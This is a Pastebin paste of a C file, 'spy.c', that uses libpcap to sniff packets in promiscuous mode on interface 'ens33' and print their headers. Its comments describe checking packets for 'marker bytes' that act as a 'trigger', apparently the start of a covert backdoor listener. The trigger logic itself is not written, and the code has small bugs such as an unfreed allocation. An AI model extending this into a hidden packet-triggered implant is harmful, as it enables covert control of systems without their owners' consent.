Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*!
- * spy.c
- *
- * I just wanna feel like I'm still living.
- * - Eden "Rock & Roll"
- */
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include "spy.h"
- //
- // StartSpy():
- // Acquires a list of devices to listen on. On success,
- // attempts to bind to the interface corresponding with
- // the appropriate address.
- //
- int StartSpy(
- void
- ) {
- pcap_if_t * device_list = NULL;
- pcap_if_t * device = NULL;
- pcap_t * device_handle = NULL;
- char device_error[PCAP_ERRBUF_SIZE] = { 0 };
- if (
- pcap_findalldevs(&device_list, (char *)&device_error) == -1
- ) return 0;
- for (
- device = device_list ; device != NULL ; device = device->next
- ) {
- pcap_addr_t * address = NULL;
- #if defined(DEBUG)
- printf(__FILE__ " : device %s\n", device->name);
- #endif
- };
- if ( device_list != NULL )
- device = NULL; pcap_freealldevs(device_list);
- if ( ( device_handle = pcap_open_live(
- "ens33", 65536, PCAP_OPENFLAG_PROMISCUOUS, -1, (char *)&device_error
- ) ) == NULL ) {
- printf(__FILE__ " : failed to open live device\n");
- return 0;
- };
- /*if ( pcap_datalink(device_handle) != DLT_EN10MB ) {
- printf(__FILE__ " : cannot capture datalink packets\n");
- return 0;
- };*/
- if ( pcap_loop(device_handle, -1, InterceptSpy, NULL) == -1 )
- printf(__FILE__ " : error parsing incoming data from the interface\n");
- return 1;
- };
- //
- // InterceptSpy():
- // Intercepts any incoming packets received, and parses
- // each incoming headers for marker bytes to determine
- // if its a valid trigger, or if its an benign packet.
- //
- void InterceptSpy(
- unsigned char * user, const struct pcap_pkthdr *hdr,
- const unsigned char * bytes
- ) {
- struct ether_header *eth = (struct ether_header *)bytes;
- struct iphdr *ip = (struct iphdr *)(bytes + sizeof(*eth));
- switch( ip->protocol ) {
- case PCAP_PROTOCOL_TCP:
- printf(__FILE__ " : TCP Packet Length %i\n", hdr->len);
- break;
- case PCAP_PROTOCOL_UDP: {
- printf(__FILE__ " : UDP Packet Length %i\n", hdr->len);
- return;
- };
- case PCAP_PROTOCOL_ICMP: {
- printf(__FILE__ " : ICMP Packet Length %i\n", hdr->len);
- return;
- };
- default:
- return;
- };
- struct in_addr *addr = (struct in_addr *)malloc(
- sizeof(*addr));
- memcpy((void *)addr, &ip->daddr, sizeof((*addr)));
- printf(__FILE__ " : Destination address %s\n", inet_ntoa(*addr));
- memcpy((void *)addr, &ip->saddr, sizeof((*addr)));
- printf(__FILE__ " : Source address %s\n", inet_ntoa(*addr));
- struct tcphdr *tcp = \
- (struct tcphdr *)(bytes + sizeof(*eth) + sizeof(*ip));
- unsigned short prt = 0;
- prt = ntohs(tcp->th_dport);
- printf(__FILE__ " : Desination Port %hu\n", prt);
- prt = ntohs(tcp->th_sport);
- printf(__FILE__ " : Source Port %hu\n", prt);
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement